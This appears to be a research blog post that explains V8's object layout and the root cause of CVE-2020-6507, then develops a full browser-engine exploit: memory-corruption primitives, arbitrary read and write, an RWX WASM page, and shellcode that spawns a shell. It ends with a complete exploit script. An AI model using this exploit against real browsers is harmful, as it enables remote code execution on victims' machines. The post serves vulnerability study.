Motivation
I’ve been wanting to learn about V8 Pwn for quite a while for essentially no reason, but didn’t have the opportunity to do so. Recently I happened to have some spare time to do free research, so I turned my attention to browser exploitation. I’d recommend readers to watch LiveOverflow’s browser exploitation series before reading this blog to have a better understanding.
Generally Speaking
From what I’ve read about browser exploitation, I conclude that most browser exploitation scenarios consists of multiple vulnerabilities, mainly a V8 RCE in a sandboxed browser page, and another sandbox escape vulnerability to achieve full RCE.
Sandbox escape quite an exciting topic, but probably too challenging for me at the moment. V8 engine vulnerabilities, are also challenging, but suits my skillset a bit more. The general causes for V8 engine is due to the lack of safety checks when V8 performing JIT optimizations, for example, not checking types, or not checking bounds, and also some Out-Of-Bound read or write bugs. Then with ability of arbitrary read and write, attackers are able to leak address of RWX memory segment and write shellcode into RWX segment.
This blog picks CVE-2020-6507 as the topic as the case study of V8 exploitation. I will try my best to explain how data is presented in V8, the root cause of the CVE, and how to exploit the bug to achieve Code Execution.
Environment Building
I followed Hcamael’s article to build my environment. Since I’m in China, so the Internet had been an issue for me, but anyway, I was able to replicate the steps. Refer to Hcamael’s article for details.
I also did all the exploit development and debugging on Kali Linux (I probably shouldn’t). I was using Kali Linux 2021.1 version for VMWare. My virtual machine specs are 8 core CPU with 5 GBs of memory just to make the compilation process less painful.
Another environment I had was on Ubuntu 20.04, instead of doing all the cloning and compiling shenanigans I used andreburgaud’s docker images.
The highest version of V8 affected by CVE-2020-6507 is 8.3.110.9, and that’s the version I played with.
How Object Is Represented In V8
Basically, the following chart shows the structure of an object in V8:

Here is one for more detailed view:

Let’s ignore Map
keyword, and talk about what properties
and elements
are. When there is an object:
var o = {a: 1, b: 2}
And we know a
and b
are its properties, in V8, we call it named properties. Elements
, on the other hand, always means those which can be number indexed. To put it in simple terms, elements
usually refer to arrays. But for some special cases, let’s say var o = {1: 'a'}
, looks like 1
is this object’s named property, but since it’s number indexed, it will be considered as an element. All the numbered index data will be stored in elements.
The Map
keyword, is not like the map we use in any programming langauages. It’s more like a data structure for store an object’s metadata. Map
is also referred as HiddenClass
. In HiddenClass
, DescriptorArray
is used to store info about named properties, as we can see from the image above.
Multiple objects can share the same HiddenClass
, when an object adds a new property, it’s HiddenClass
will also change. V8 will create a transition tree to link the old HiddenClass
and the new HiddenClass
together.
As we can see from the images below:


When properties a, b, c
are added to object, its HiddenClass
will change respectively, also create a link to the old one. Then, when we create another object with properties a, b
, V8 will just assign the HiddenClass
which already exists to it.
However, when properties are added in different order, V8 will treat it differently, it will create a new separate branch and continue there:

There are three types of named properties, differed by their access speed. The fastest one is in-object properties, as one can tell, it’s stored on objects. Then there are fast and slow properties. Fast properties are stored in properties store, and the metadata is stored in DescriptorArray
. Last, there are slow properties. Slow properties are stored in self-contained properties dictionary. More on those, refer to https://v8.dev/blog/fast-properties.
With the basic knowledge of JS Objects, let’s launch d8, V8’s debugging shell for a better understanding. Long story short, d8 has some native functions, but in order to invoke them, --allow-natives-syntax
command line flag is required. Also for the best debug experience, I recommend running d8 inside of gdb. %DebugPrint
and %SystemBreak
will be hepful for debugging. V8 also has its know gdb profile for debugging, one of the function it provides is job
, it works exactly like %DebugPrint
.
For test properties, I wrote some sample JS code:
a = 1;
b = true;
c = ['1', '2'];
d = {"a": 2};
e = {"b": 1, "c": 3};
%DebugPrint(a);
%DebugPrint(b);
%DebugPrint(c);
%DebugPrint(d);
%DebugPrint(e);
%SystemBreak();
Then we start d8 in gdb:
r --allow-natives-syntax test.js
For a
:

Cool story bro. And also, in V8 there is a data type called SMI, for SMall Integer.
b
:

One surprise finding is, boolean type is considered as ODDBALL_TYPE
in V8. Out of curiosity, I looked at some source code:
static const byte kFalse = 0;
static const byte kTrue = 1;
static const byte kNotBooleanMask = static_cast<byte>(~1);
static const byte kTheHole = 2;
static const byte kNull = 3;
static const byte kArgumentsMarker = 4;
static const byte kUndefined = 5;
static const byte kUninitialized = 6;
static const byte kOther = 7;
static const byte kException = 8;
static const byte kOptimizedOut = 9;
static const byte kStaleRegister = 10;
static const byte kSelfReferenceMarker = 10;
static const byte kBasicBlockCountersMarker = 11;
Then for array ['1', '2']
:

Another thing to note, in V8, pointers have odd memory addresses, but their actual addresses are their displayed addresses – 1. So the actual address for the array will be 0x3c8308085b48
.

By examining array’s address in memory, we can see the first few 4 bytes corresponds to HiddenClass/Map
, properties
, elements
and length
. In length
‘s place, we see 0x4
but not the length of array 0x2
. When V8 deal with SMI, it will divide the actual hex value by half, so the length is actually 0x4 / 2 = 0x2
. We know an array does not have any named properties, so all the data should be stored at elements. Let’s check elements’ content:

We see the first 8 bytes are elements’ HiddenClass
, and length
, the next two 4 bytes are pointers to string “1” and “2”.
Next, let’s look at an actual object, {"a": 2}
:


So both elements and properties point to the same address, which has no items in it. But remember about the in-object property and fast property. Let’s navigate to object’s HiddenClass
:

According to fast properties’ definition, its values are stored in DescriptorArray
:

And there are some random bytes. According to source code of DescriptorArray
they probabaly are:
// A DescriptorArray is a custom array that holds instance descriptors.
// It has the following layout:
// Header:
// [16:0 bits]: number_of_all_descriptors (including slack)
// [32:16 bits]: number_of_descriptors
// [48:32 bits]: raw_number_of_marked_descriptors (used by GC)
// [64:48 bits]: alignment filler
// [kEnumCacheOffset]: enum cache
// Elements:
// [kHeaderSize + 0]: first key (and internalized String)
// [kHeaderSize + 1]: first descriptor details (see PropertyDetails)
// [kHeaderSize + 2]: first value for constants / Smi(1) when not used
// Slack:
// [kHeaderSize + number of descriptors * 3]: start of slack
// The "value" fields store either values or field types. A field type is either
// FieldType::None(), FieldType::Any() or a weak reference to a Map. All other
// references are strong.
The rest can also be decoded as:

One thing I’m unsure of is the value, if it’s SMI, then it’s value is 1, not matching the supposed value of 2. But anyway, at least key content checks out.
So, now, after some annoying debugging and experimenting, we probably have a basic idea of JS Objects in V8. Next, let’s dive into the actual CVE.
Case Study Of CVE-2020-6507
Root Cause
For more detailed discussion, refer to https://bugs.chromium.org/p/chromium/issues/detail?id=1086890
The root cause of this CVE lies in fixed-array.tq
. Where the function NewFixedArray
and NewFixedDoubleArray
does not check for length of new created array:
@@ -120,8 +120,15 @@
ConstantIterator(kDoubleHole)));
}
+namespace runtime {
+ extern runtime FatalProcessOutOfMemoryInvalidArrayLength(NoContext): never;
+}
+
macro NewFixedArray<Iterator: type>(length: intptr, it: Iterator): FixedArray {
if (length == 0) return kEmptyFixedArray;
+ if (length > kFixedArrayMaxLength) deferred {
+ runtime::FatalProcessOutOfMemoryInvalidArrayLength(kNoContext);
+ }
return new
FixedArray{map: kFixedArrayMap, length: Convert<Smi>(length), objects: ...it};
}
@@ -129,6 +136,9 @@
macro NewFixedDoubleArray<Iterator: type>(
length: intptr, it: Iterator): FixedDoubleArray|EmptyFixedArray {
if (length == 0) return kEmptyFixedArray;
+ if (length > kFixedDoubleArrayMaxLength) deferred {
+ runtime::FatalProcessOutOfMemoryInvalidArrayLength(kNoContext);
+ }
return new FixedDoubleArray{
map: kFixedDoubleArrayMap,
length: Convert<Smi>(length),
Also, when V8 does Turbo JIT optimization, during the simpilified-lowering
phase, skips boundary check for arrays.
@@ -3580,25 +3580,12 @@
return VisitBinop(node, UseInfo::AnyTagged(),
MachineRepresentation::kTaggedPointer);
case IrOpcode::kMaybeGrowFastElements: {
- Type const index_type = TypeOf(node->InputAt(2));
- Type const length_type = TypeOf(node->InputAt(3));
ProcessInput(node, 0, UseInfo::AnyTagged()); // object
ProcessInput(node, 1, UseInfo::AnyTagged()); // elements
ProcessInput(node, 2, UseInfo::TruncatingWord32()); // index
ProcessInput(node, 3, UseInfo::TruncatingWord32()); // length
ProcessRemainingInputs(node, 4);
SetOutput(node, MachineRepresentation::kTaggedPointer);
- if (lower()) {
- // If the index is known to be less than the length (or if
- // we're in dead code), we know that we don't need to grow
- // the elements, so we can just remove this operation all
- // together and replace it with the elements that we have
- // on the inputs.
- if (index_type.IsNone() || length_type.IsNone() ||
- index_type.Max() < length_type.Min()) {
- DeferReplacement(node, node->InputAt(1));
- }
- }
return;
}
According to the PoC given by reporter:
<script>
array = Array(0x40000).fill(1.1);
args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);
length_as_double =
new Float64Array(new BigUint64Array([0x2424242400000000n]).buffer)[0];
function trigger(array) {
var x = array.length;
x -= 67108861;
x = Math.max(x, 0);
x *= 6;
x -= 5;
x = Math.max(x, 0);
let corrupting_array = [0.1, 0.1];
let corrupted_array = [0.1];
corrupting_array[x] = length_as_double;
return [corrupting_array, corrupted_array];
}
for (let i = 0; i < 30000; ++i) {
trigger(giant_array);
}
corrupted_array = trigger(giant_array)[1];
alert('corrupted array length: ' + corrupted_array.length.toString(16));
corrupted_array[0x123456];
</script>
At first, array
, an array of length 0x40000
is created, filled with float value of 1.1. The args
array has length of 0xff
and filled with array
. Then args
added another array of length 0x40000 - 4
filled with 2.2
. giant_array
is a new array created by concating all items in args
, which makes giant_array
have the length of 0x40000 * 0xff + 0x40000 - 4 = 67108860
. Finally, splice
function is called and three more items are added to giant_array
, creating a new FixedDoubleArray
with length 67108863.
The max length of a FixedDoubleArray is defined in fixed-array.h:
static const int kMaxSize = 128 * kTaggedSize * MB - kTaggedSize;
// Maximally allowed length of a FixedDoubleArray.
static const int kMaxLength = (kMaxSize - kHeaderSize) / kDoubleSize;
FYI, kTaggedSize
is 4 bytes, kHeaderSize
is also 4 bytes, and kDoubleSize
is 8 bytes. Then after some math we get kMaxSize=67108862
. So all the operations on arrays above creates a new array which exceeds the max length of FixedDoubleArray due to not checking max length in NewFixedDoubleArray
function.
trigger
function takes giant_array
as parameter, and makes x=67108863
.
var x = array.length; // 67108863
x -= 67108861; // 2
x = Math.max(x, 0); // 2
x *= 6; // 12
x -= 5; // 7
x = Math.max(x, 0); // 7
And trigger()
essentially assigns corrupting_array[7] = length_as_double
. Then in a for-loop, triggers TurboFan optimization, cause V8 to not check bound when writing to an array.
Here, I called %DebugPrint
on corrupting_array
and corrupted_array
, and we can see:



- contains the float value of 0.1
- contains the map, property info of
corrupting_array
- contains the elements, length info of
corrupted_array
- contains the map, property info of
corrupted_array
When TurboFan ignores bounds check for corrupting_array
, and corrupting_array[7] = length_as_double
will write to addressOf(corrupting_array[0]) + 7 * 0x8
, and exactly overwrites the value of elements and length of corrupted_array
, making corrupted_array
‘s elements points to 0x00000000
and length to be 0x24242424
. Since length is SMI, so the real length will be 0x12121212
. Let’s say the base address is 0xabcd00000000
, when accessing corrupted_array[0x1234]
, V8 will retrieve value at 0xabcd00001234
as float. And that’s how OOB read is achieved.
Exploitation
itof & ftoi
Since we exploit double array to do OOB read, so it’s necessary to convert float values to a format we can understand. We need to create a Float64Array
and a BigUIint64Array
which both share the same ArrayBuffer
. So that when values are assigned, both arrays share the same content, but it will be treated differently due to type difference.
I also write some supplying functions to convert to hex string for a better view:
var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
function ftoi(f)
{
f64[0] = f;
return bigUint64[0];
}
function itof(i)
{
bigUint64[0] = i;
return f64[0];
}
function ftoh(f)
{
return itoh(ftoi(f));
}
function itoh(i){
var pad = 16;
if (BigInt(i) >> 32n == 0){
pad = 8;
}
return '0x'+i.toString(16).padStart(pad, "0");
}
addrOf & fakeObj
The OOB read itself has already enable arbitrary read to us, but for the sake of research and learning, let write addrOf
function.
The difference between an object array and a double array is, an object array’s elements stores pointers to each object, while a double array’s elements stores plain float values. Deep down they are just a bunch of bytes, and how they are treated depends on the array type. Array types are determined by their HiddenClass
as talked before, what if we somehow modify an object array’s map to a double array’s map? V8 will think the object array is now a double array and print everything in its elements as float values:
var obj = {a: '1'};
var obj_array = [obj];
var double_array = [1.1];
// change obj_array's map to double_array's type
var obj_addr = obj[0]; // prints obj's pointer/address as float
console.log(ftoh(obj_addr)); // print obj's address as hex
The problem now is how to find both array’s maps info and exchange them. We do have OOB read now, the rest is to find the positions of both arrays.
It took me sometime to debug here and there trying to figure out the best way to find the exact offset of double_array
in corrupted_array
. I finally noticed that no matter how double_array
‘s address change, its map and property address stays the same value as 0x8241891
for map, and 0x80406e9
for property, and also double_array
‘s address stays in 0x8900000
range. Since in corrupted_array
, each item’s size is 8 bytes, so when we search for memory content, we need to divide actual memory address by 8.
Then I search memory address range from 0x8900000
to 0x8908000
, which translate to corrupted_array
‘s index of 0x1120000
to 0x1121000
. If there are any consective two 4 bytes data match the value of 0x8241891
and 0x80406e9
, it should be double_array
object we are searching for, and it’s usually the first result.
This way, I was able to successfully find the exact offset of double_array
. Also by examing memory I figured that obj_array
always lies 32 bytes behind double_array
, so once we have double_array_offset
we can just let obj_array_offset = double_array_offset + (32 / 8)
:
[corrupting_array, corrupted_array] = trigger(giant_array);
c = corrupted_array;
var double_map_addr = 0x8241891
var double_prop_addr = 0x80406e9
var double_array_offset = 0
function match_offset(mem, value){
if ((mem & 0xffffffffn) == value || ( mem >> 32n ) == value){
return true;
}
return false;
}
for (let i = 0x1120000; i < 0x1121000; i++){
var sc = 0
let v1 = ftoi(c[i])
let v2 = ftoi(c[i+1])
if (match_offset(v1, double_map_addr)){
sc += 1
}
if (match_offset(v1, double_prop_addr) || match_offset(v2, double_prop_addr)){
sc += 1
}
if (sc == 2){
double_array_offset = i;
break;
}
}
var obj_array_offset = double_array_offset + 4
var double_map = c[double_array_offset];
var obj_map = c[obj_array_offset];
Now we can read and write to both double_array
and obj_array
‘s map data, we can start to write addrOf
function:
function addrOf(obj){
obj_array[0] = obj;
// change obj_array's map pointer to double_array's map pointer
c[obj_array_offset] = double_map;
obj_addr = ftoi(obj_array[0]) - 1n;
// change back obj_array's map
c[obj_array_offset] = obj_map;
return obj_addr;
}
And let’s test it:

Leaked address checks out, don’t forget, V8 stores pointers by adding 1 to actual address.
If we can chenge obj_array
to a double array’s map, then we should also be able to do the opposite: change double_array
‘s map to an object array’s map. The former way is to change item display from point to float, then the latter one should change item display from float to point. Which means we can construct a fake object pointer based on values we control. So we can use the same idea to write a fakeObj
function:
function fakeObj(addr){
double_array[0] = itof(addr + 1n);
c[double_array_offset] = obj_map;
fakeobj = double_array[0];
c[double_array_offset] = double_map;
return fakeobj;
}
It’s not obvious at this stage to test our fakeObj
function, but in the next stage, we will utilize this function a lot.
read & write
With OOB read, we pretty much already have the ability to read and write from memory, but again, for the sake of learning, writing arbitrary read and write functions are necessary.
In last section we managed to create addrOf
and fakeObj
function, now we need to put them into use. Continue from the idea of transition between object array and double array, if we can modify a double array’s elements pointer to any address, then supposedly we can read the content in the address we changed when we access items in the double array:
array -> [fake map, fake prop, element place holder, ...]
array -> |4 bytes map|4 bytes property|4 bytes elements|4 bytes length|
__|
| (addr to read)
|elements map|elements length|[fake map|fake props|fake elements|fake length|...]
The process is:
- create an array contains constructed fake metadata
- find array’s address
- based on array’s address, get array’s elements address
- change elements’ pointer address to address we want to read
- access array’s item to read desired address’ content
Based on the above mindmap, we can write:
function parseMap(obj_idx, map_offset){
var metadata = [];
for (var i = -1; i < 2; i++){
p1 = ftoi(c[obj_idx+i]) & 0xffffffffn;
p2 = ftoi(c[obj_idx+i]) >> 32n;
metadata.push(p1);
metadata.push(p2);
}
var map_idx = metadata.indexOf(BigInt(map_offset));
return metadata.slice(map_idx, map_idx + 4);
}
console.log('address of double array:', itoh(addrOf(double_array)));
var fake_mp = itof((BigInt(double_prop_addr) << 32n) + BigInt(double_map_addr))
var fake_array = [fake_mp, 1.1, 2.2];
var fake_array_addr = addrOf(fake_array) & 0xffffffffn;
var fake_array_index = Number((fake_array_addr - 1n) / 8n);
console.log('fake array address: ', itoh(fake_array_addr));
var fake_array_metadata = parseMap(fake_array_index, double_map_addr);
var fake_array_elem = fake_array_metadata[2];
console.log('fake array elem pointer: ', itoh(fake_array_elem));
var fake_obj = fakeObj(fake_array_elem + 8n - 1n);
function read(addr, length=1){
addr -= 8n;
if (addr % 2n == 0){
addr += 1n;
}
var data = []
var fake_addr_len = itof(0x0000001000000000n + BigInt(addr))
fake_array[1] = fake_addr_len;
for (var i = 0; i < length; i++){
data.push(fake_obj[i]);
console.log('read: ', itoh(addr + 8n * BigInt(i + 1) - 1n), ftoh(fake_obj[i]));
}
return data;
}
function write(addr, data){
addr -= 8n;
if (addr % 2n == 0){
addr += 1n;
}
var fake_addr_len = itof(0x0000001000000000n + BigInt(addr))
fake_array[1] = fake_addr_len;
fake_obj[0] = itof(data);
console.log('write: ', itoh(addr - 1n + 8n), itoh(data));
}
The parseMap
function is a supply function to get elements address. Also when faking elements pointer, we need think about elements’ map and length info, so the actual elements pointer will be address_to_read - 0x8
, 4 bytes for map, and another 4 bytes for length.
The concept is similar for write function, instead of accessing items, we assign data to certain index to achieve arbitrary write.
Again, let’s test our read and write functions:
We first read data from fake_array[2]
, then write 0x4141414141414141
to it, without doing anything in JS code itself.
read(fake_array_elem, 4);
write(fake_array_elem + 24n, 0x4141414141414141n);
read(fake_array_elem, 4);
console.log('fake array[2] :', fake_array[2], '0x4141414141414141 to float', itof(0x4141414141414141n));

We see we have successfully changed fake_array
‘s content by directly writing to memory.
WASM & Writing Shellcode
There is one downside of our write
function. As you have probably noticed, elements pointer is 4 bytes or 32 bits, but if we want to write to a full address, write
function won’t work. Also, in order to execute shellcode, we need a memory segment of permission RWX, which by default, V8 doesn’t reserve. However, when creating a WASM instance, V8 will reserve a RWX memory segment.
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_module = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_module, {});
var shell = wasm_instance.exports.main;

We can see, despite having a suitable memory segment, we still can’t write to it, because its address is 48 bits, or higher than 32 bits. So we need to find a way to write to this address.
But let’s first figure a way to get RWX address. Let’s start with examining wasm_instance
:


At addrOf(wasm_instance) + 0x68
, stores the start address of RWX segment, that’s one problem solved.
Then we need a way to write to RWX segment. According to Hcamael, we can use DataView
, by modifying ArrayBuffer
‘s backing_store
to RWX address, we can write shellcode this way. I noticed the key to write shellcode is backing_store
rather than DataView
, so I wanted to see if I can achieve the same by using Float64Array
. Spolier, it didn’t work. Anyway, I wrote some test code:
var buf = new ArrayBuffer(3 * 8);
var f = new Float64Array(buf);
f[0] = 1.1;
%DebugPrint(buf);


backing_store
‘s address is unlike others, is 48 bits, and that’s why it can we can exploit this to write shellcode. By changing backing_store
‘s data to RWX starting address, then by adding data to it will write those data to RWX segment.

We see backing_store
‘s info is stored in a weird way, we need to parse the high 32 bit and the low 32 bit to get or modify this part.
Then let’s talk about why I think DataView
worked but not Float64Array
. According to MDN’s documentation:
The DataView view provides a low-level interface for reading and writing multiple number types in a binary ArrayBuffer, without having to care about the platform’s endianness.
And if we use Float64Array
, we will somehow have to care about endianness. I didn’t dig too deep into this, but this was my assumption.
Finally, here is the code for writting shellcode:
function write_shellcode(shellcode, rwx_addr){
var buf = new ArrayBuffer(shellcode.length * 8);
var data_view = new DataView(buf);
var buf_addr = addrOf(buf) & 0xffffffffn;
console.log('buf address: ', itoh(buf_addr));
var back_store_addr_l = ftoi(read(buf_addr + 16n)[0]);
var back_store_addr_h = ftoi(read(buf_addr + 24n)[0]);
var rwx_addr_h = rwx_addr >> 32n;
var rwx_addr_l = rwx_addr & 0xffffffffn;
var new_bs_addr_l = (back_store_addr_l & 0xffffffffn) + (rwx_addr_l << 32n);
var new_bs_addr_h = (back_store_addr_h >> 32n << 32n) + (rwx_addr_h);
write(buf_addr + 16n, new_bs_addr_l);
write(buf_addr + 24n, new_bs_addr_h);
for (var i = 0; i < shellcode.length; i++){
data_view.setFloat64(i * 8, itof(shellcode[i]), true);
}
}
At this point, we talked about all steps needed to exploit this bug, and also constructing needed code, let’s test the entire exploit:

Since I did all the debugging on Kali, and I know it’s not really the best practice, so I ran it again in a docker image on Ubuntu 20.04:

Good thing it worked twice.
CVE-2020-6507.js
This bug was issued and publicized about two years, and I believe it’s safe to release exploit to public(I hope).
var double_array = [13.37];
var obj = {"a" : 1};
var obj_array = [obj];
var test = ['asdasda']
var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_module = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_module, {});
var shell = wasm_instance.exports.main;
function ftoi(f)
{
f64[0] = f;
return bigUint64[0];
}
function itof(i)
{
bigUint64[0] = i;
return f64[0];
}
function ftoh(f)
{
return itoh(ftoi(f));
}
function itoh(i){
var pad = 16;
if (BigInt(i) >> 32n == 0){
pad = 8;
}
return '0x'+i.toString(16).padStart(pad, "0");
}
array = Array(0x40000).fill(1.1);
args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);
length_as_double =
new Float64Array(new BigUint64Array([0x2424242400000001n]).buffer)[0];
function trigger(array) {
var x = array.length;
x -= 67108861;
x = Math.max(x, 0);
x *= 6;
x -= 5;
x = Math.max(x, 0);
let corrupting_array = [0.1, 0.1];
let corrupted_array = [0.1];
corrupting_array[x] = length_as_double;
return [corrupting_array, corrupted_array];
}
for (let i = 0; i < 30000; ++i) {
trigger(giant_array);
}
[corrupting_array, corrupted_array] = trigger(giant_array);
c = corrupted_array;
var double_map_addr = 0x8241891
var double_prop_addr = 0x80406e9
var double_array_offset = 0
function match_offset(mem, value){
if ((mem & 0xffffffffn) == value || ( mem >> 32n ) == value){
return true;
}
return false;
}
for (let i = 0x1120000; i < 0x1121000; i++){
var sc = 0
let v1 = ftoi(c[i])
let v2 = ftoi(c[i+1])
if (match_offset(v1, double_map_addr)){
sc += 1
}
if (match_offset(v1, double_prop_addr) || match_offset(v2, double_prop_addr)){
sc += 1
}
if (sc == 2){
double_array_offset = i;
break;
}
}
var obj_array_offset = double_array_offset + 4
var double_map = c[double_array_offset];
var obj_map = c[obj_array_offset];
console.log('double array offset:', itoh(double_array_offset*8));
console.log('object array offset:', itoh(obj_array_offset*8));
function addrOf(obj){
obj_array[0] = obj;
// change obj_array's map pointer to double_array s map pointer
c[obj_array_offset] = double_map;
obj_addr = ftoi(obj_array[0]) - 1n;
// change back obj_array's map
c[obj_array_offset] = obj_map;
return obj_addr;
}
function fakeObj(addr){
double_array[0] = itof(addr + 1n);
c[double_array_offset] = obj_map;
fakeobj = double_array[0];
c[double_array_offset] = double_map;
return fakeobj;
}
function parseMap(obj_idx, map_offset){
var metadata = [];
for (var i = -1; i < 2; i++){
p1 = ftoi(c[obj_idx+i]) & 0xffffffffn;
p2 = ftoi(c[obj_idx+i]) >> 32n;
metadata.push(p1);
metadata.push(p2);
}
var map_idx = metadata.indexOf(BigInt(map_offset));
return metadata.slice(map_idx, map_idx + 4);
}
console.log('address of double array:', itoh(addrOf(double_array)));
var fake_mp = itof((BigInt(double_prop_addr) << 32n) + BigInt(double_map_addr))
var fake_array = [fake_mp, 1.1, 2.2];
var fake_array_addr = addrOf(fake_array) & 0xffffffffn;
var fake_array_index = Number((fake_array_addr - 1n) / 8n);
console.log('fake array address: ', itoh(fake_array_addr));
var fake_array_metadata = parseMap(fake_array_index, double_map_addr);
var fake_array_elem = fake_array_metadata[2];
console.log('fake array elem pointer: ', itoh(fake_array_elem));
var fake_obj = fakeObj(fake_array_elem + 8n - 1n);
// fake array -> [fake map, fake prop, element place holder, ...]
// fake array -> |4 bytes map|4 bytes property|4 bytes elements|4 bytes length|
// |__
// | (addr to read)
// |elements map|elements length|[fake map|fake props|fake elements|fake length|...]
function read(addr, length=1){
addr -= 8n;
if (addr % 2n == 0){
addr += 1n;
}
var data = []
var fake_addr_len = itof(0x0000001000000000n + BigInt(addr))
fake_array[1] = fake_addr_len;
for (var i = 0; i < length; i++){
data.push(fake_obj[i]);
console.log('read: ', itoh(addr + 8n * BigInt(i + 1) - 1n), ftoh(fake_obj[i]));
}
return data;
}
function write(addr, data){
addr -= 8n;
if (addr % 2n == 0){
addr += 1n;
}
var fake_addr_len = itof(0x0000001000000000n + BigInt(addr))
fake_array[1] = fake_addr_len;
fake_obj[0] = itof(data);
console.log('write: ', itoh(addr - 1n + 8n), itoh(data));
}
function write_shellcode(shellcode, rwx_addr){
var buf = new ArrayBuffer(shellcode.length * 8);
var data_view = new DataView(buf);
var buf_addr = addrOf(buf) & 0xffffffffn;
console.log('buf address: ', itoh(buf_addr));
var back_store_addr_l = ftoi(read(buf_addr + 16n)[0]);
var back_store_addr_h = ftoi(read(buf_addr + 24n)[0]);
var rwx_addr_h = rwx_addr >> 32n;
var rwx_addr_l = rwx_addr & 0xffffffffn;
var new_bs_addr_l = (back_store_addr_l & 0xffffffffn) + (rwx_addr_l << 32n);
var new_bs_addr_h = (back_store_addr_h >> 32n << 32n) + (rwx_addr_h);
write(buf_addr + 16n, new_bs_addr_l);
write(buf_addr + 24n, new_bs_addr_h);
for (var i = 0; i < shellcode.length; i++){
data_view.setFloat64(i * 8, itof(shellcode[i]), true);
}
}
var wasm_addr = (addrOf(wasm_instance) & 0xffffffffn);
console.log('wasm instance address: ', itoh(wasm_addr));
var rwx_addr = read((wasm_addr + 0x68n))[0];
console.log('rwx address: ', ftoh(rwx_addr));
// read(fake_array_elem, 4);
// write(fake_array_elem + 24n, 0x4141414141414141n);
// read(fake_array_elem, 4);
// console.log('fake array[2] :', fake_array[2], '0x4141414141414141 to float', itof(0x4141414141414141n));
var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];
write_shellcode(shellcode, ftoi(rwx_addr));
shell();
Conclusion
Pretty long post, hope you enjoy. I’m no Pwner by any means, corrections are welcomed.
Reference
- https://v8.dev/blog/fast-properties
- https://v8.dev/blog/elements-kinds
- https://github.com/v8/v8/
- https://zhuanlan.zhihu.com/p/55903492
- https://paper.seebug.org/1820/
- https://zhuanlan.zhihu.com/p/431625839
- https://www.jayconrod.com/posts/52/a-tour-of-v8-object-representation
- https://blog.dashlane.com/how-is-data-stored-in-v8-js-engine-memory/
- https://bugs.chromium.org/p/chromium/issues/detail?id=1086890
- https://chromium.googlesource.com/v8/v8.git/+/c85aa83087e7146281a95369cadf943ef78bf321%5E%21/
- https://chromium.googlesource.com/v8/v8.git/+/3d9272cf7ab64b7fe76de02c859daae0588e8370%5E%21/
- https://faraz.faith/2019-12-13-starctf-oob-v8-indepth/
- https://github.com/r4j0x00/exploits/blob/master/chrome-exploit/exploit.js
- https://paper.seebug.org/1823/
- https://paper.seebug.org/1821/